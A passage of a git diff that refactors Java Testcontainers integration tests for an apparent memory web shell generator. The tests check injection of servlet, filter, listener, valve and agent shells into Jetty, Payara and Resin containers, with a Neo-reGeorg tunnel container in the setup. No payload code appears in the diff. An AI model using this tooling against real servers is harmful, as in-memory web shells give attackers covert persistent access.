.testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jettyPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Jetty; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.CUSTOMIZER, - ShellType.JETTY_AGENT_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.HANDLER, - ShellType.CUSTOMIZER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java index a2a4d4e2..52b88a5d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java @@ -1,93 +1,53 @@ package com.reajason.javaweb.integration.memshell.payara; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class Payara5201ContainerTest { - public static final String imageName = "reajason/payara:5.201"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Payara5201ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/payara:5.201", + "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forHttp("/app")); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + public static final GenericContainer python = buildPythonContainer(network); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java index ff983028..eb5361ee 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java @@ -1,93 +1,53 @@ package com.reajason.javaweb.integration.memshell.payara; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class Payara520225ContainerTest { - public static final String imageName = "reajason/payara:5.2022.5"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Payara520225ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/payara:5.2022.5", + "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .targetJdkVersion(Opcodes.V1_6) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forHttp("/app")); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + public static final GenericContainer python = buildPythonContainer(network); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER, - ShellType.VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java index dcfff81b..95fd6b6c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java @@ -1,92 +1,60 @@ package com.reajason.javaweb.integration.memshell.payara; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class Payara620222ContainerTest { - public static final String imageName = "reajason/payara:6.2022.2-jdk11"; - static Network network = Network.newNetwork(); +public class Payara620222ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/payara:6.2022.2-jdk11", + "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V11) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .assertLogs(false) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(glassfishPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.GlassFish; - List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE, - ShellType.AGENT_FILTER_CHAIN, - ShellType.CATALINA_AGENT_CONTEXT_VALVE - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); - } - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forHttp("/app/test")); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); -// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.JAKARTA_VALVE,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java index 881ca726..55f40223 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java @@ -1,87 +1,49 @@ package com.reajason.javaweb.integration.memshell.resin; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Resin3116ContainerTest { - public static final String imageName = "reajason/resin:3.1.16"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Resin3116ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.resin( + "reajason/resin:3.1.16", + "/usr/local/resin3/webapps/app.war") + .targetJdkVersion(Opcodes.V1_6) + .logDelayMillis(1000L) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.AGENT_FILTER_CHAIN + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(resinPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Resin; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.AGENT_FILTER_CHAIN - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - @SneakyThrows - static void tearDown() { - Thread.sleep(1000); - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java index a410aeb4..89b4daab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java @@ -1,84 +1,48 @@ package com.reajason.javaweb.integration.memshell.resin; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Resin318ContainerTest { - public static final String imageName = "reajason/resin:3.1.8-jdk7"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Resin318ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.resin( + "reajason/resin:3.1.8-jdk7", + "/usr/local/resin3/webapps/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.AGENT_FILTER_CHAIN + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(resinPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Resin; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.AGENT_FILTER_CHAIN - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java index dfa14406..5c7fc192 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java @@ -1,84 +1,48 @@ package com.reajason.javaweb.integration.memshell.resin; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Resin4058ContainerTest { - public static final String imageName = "reajason/resin:4.0.58"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Resin4058ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.resin( + "reajason/resin:4.0.58", + "/usr/local/resin4/webapps/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.AGENT_FILTER_CHAIN + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(resinPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Resin; - List supportedShellTypes = List.of( - ShellType.FILTER, - ShellType.LISTENER, - ShellType.AGENT_FILTER_CHAIN - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java index e3d508b0..305f137a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java @@ -1,84 +1,49 @@ package com.reajason.javaweb.integration.memshell.resin; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Resin4067ContainerTest { - public static final String imageName = "reajason/resin:4.0.67-jdk11"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Resin4067ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.resin( + "reajason/resin:4.0.67-jdk11", + "/usr/local/resin4/webapps/app.war") + .targetJdkVersion(Opcodes.V11) + .probeTargetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER, + ShellType.AGENT_FILTER_CHAIN + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, 